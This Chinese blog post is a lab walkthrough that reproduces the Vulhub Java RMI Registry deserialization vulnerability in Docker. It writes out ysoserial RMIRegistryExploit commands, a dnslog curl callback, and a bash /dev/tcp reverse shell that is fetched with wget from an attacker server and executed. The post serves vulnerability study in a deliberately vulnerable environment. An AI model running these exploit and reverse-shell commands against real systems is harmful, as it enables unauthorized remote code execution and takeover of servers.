学习Vulhub的JavaRMIRegistry反序列化漏洞

信息安全不简单鸭 2024-07-31 20:30:35

这个实验,我们先通过dnslog演示命令执行,然后通过反弹shell获得root权限。Java Remote Method Invocation 用于在Java中进行远程调用。RMI存在远程bind的功能(虽然大多数情况不允许远程bind),在bind过程中,伪造Registry接收到的序列化数据(实现了Remote接口或动态代理了实现了Remote接口的对象),使Registry在对数据进行反序列化时触发相应的利用链(环境用的是commons-collections:3.2.1)[1]

前提:准备好docker环境,下载好vulhub,进入目录 ,开始复现漏洞

docker-compose builddocker compose run -e RMIIP=144.34.162.13 -p 1099:1099 rmi

完成试验后,记得删除漏洞环境哦~~

docker-compose downdocker system prune -a -f //可选

环境启动后,RMI Registry监听在1099端口。

先访问dnslog,点击get subdomain

uurrw1.dnslog.cn

然后在另一台机子上,运行这条命令,注意需要提前下载好ysoserial-all.jar[2]

java -cp ysoserial-all.jar ysoserial.exploit.RMIRegistryExploit 144.34.162.13 1099 CommonsCollections6 "curl uurrw1.dnslog.cn"

之后,就可以在dnslog上查看访问记录

再来试试反弹shell,测试发现直接bash反弹无效,但是发现可以下载文件,于是来一个曲径通幽,准备好sh文件

/bin/bash -i >& /dev/tcp/174.137.58.6/8888 0>&1

准备好web服务

准备好接收反弹shell

准备下载sh文件

java -cp ysoserial-all.jar ysoserial.exploit.RMIRegistryExploit 144.34.162.13 1099 CommonsCollections6 "wget http://174.137.58.6:7777/ailx10.sh -O /tmp/shell"

准备执行sh文件

java -cp ysoserial-all.jar ysoserial.exploit.RMIRegistryExploit 144.34.162.13 1099 CommonsCollections6 "bash /tmp/shell"

反弹shell成功

参考^Java RMI Registry 反序列化漏洞(<=jdk8u111) https://vulhub.org/#/environments/java/rmi-registry-bind-deserialization/^ysoserial-all.jar https://github.com/frohoff/ysoserial/releases/tag/v0.0.6

发布于 2023-10-01 14:31・IP 属地美国

0 阅读:0

信息安全不简单鸭

简介:感谢大家的关注